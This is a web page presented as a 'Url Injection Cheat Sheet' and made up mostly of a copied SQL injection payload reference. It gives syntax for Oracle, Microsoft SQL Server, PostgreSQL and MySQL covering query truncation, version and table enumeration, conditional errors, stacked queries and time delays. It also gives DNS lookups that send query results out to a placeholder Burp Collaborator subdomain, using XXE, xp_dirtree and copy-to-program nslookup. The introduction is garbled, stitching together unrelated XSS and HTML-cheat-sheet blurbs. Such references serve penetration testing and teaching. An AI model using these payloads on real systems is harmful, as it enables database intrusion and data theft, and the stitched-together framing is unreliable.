Url Injection Cheat Sheet



Today we bring a Cheat Sheet about this vulnerability that is not the best known by the common user but is one of the most appearing on the webs. Cross-Site-Scripting (XSS) The attack will be carried out by inserting in some field of the web page where, being badly validated, we will be able to execute a script like this. HTML Cheat Sheet PDF. Save the.pdf version of this interactive page to keep it on your desktop or print it and hang it on the wall and always sneak a peek while coding, composing an article or designing a website. A PDF file is available for every cheat sheet on this website: CSS, JavaScript and others.

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

You can concatenate together multiple strings to make a single string.

Cross-site scripting attacks, also called XSS attacks, are a type of injection attack that injects malicious code into otherwise safe websites. An attacker will use a flaw in a target web application to send some kind of malicious code, most commonly client-side JavaScript, to an end user. Download our SQL injection cheat sheet, and learn more about preventing dangerous vulnerabilities like SQL injection in our Secure Coding Best Practices Handbook. ESG Survey Report ESG recently surveyed 378 cybersecurity and application development. Interactive cross-site scripting (XSS) cheat sheet for 2021, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
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Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Url Injection Cheat SheetCheat
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle --comment
Microsoft --comment
/*comment*/
PostgreSQL --comment
/*comment*/
MySQL #comment
-- comment [Note the space after the double dash]
/*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

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Oracle SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

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You can test a single boolean condition and trigger a database error if the condition is true.

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle Does not support batched queries.
Microsoft QUERY-1-HERE; QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE

Note

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With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

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Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL copy (SELECT ') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL The following techniques work on Windows only:
LOAD_FILE('YOUR-SUBDOMAIN-HERE.burpcollaborator.neta')
SELECT ... INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree '//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a')
PostgreSQL create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '') to program 'nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net'';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'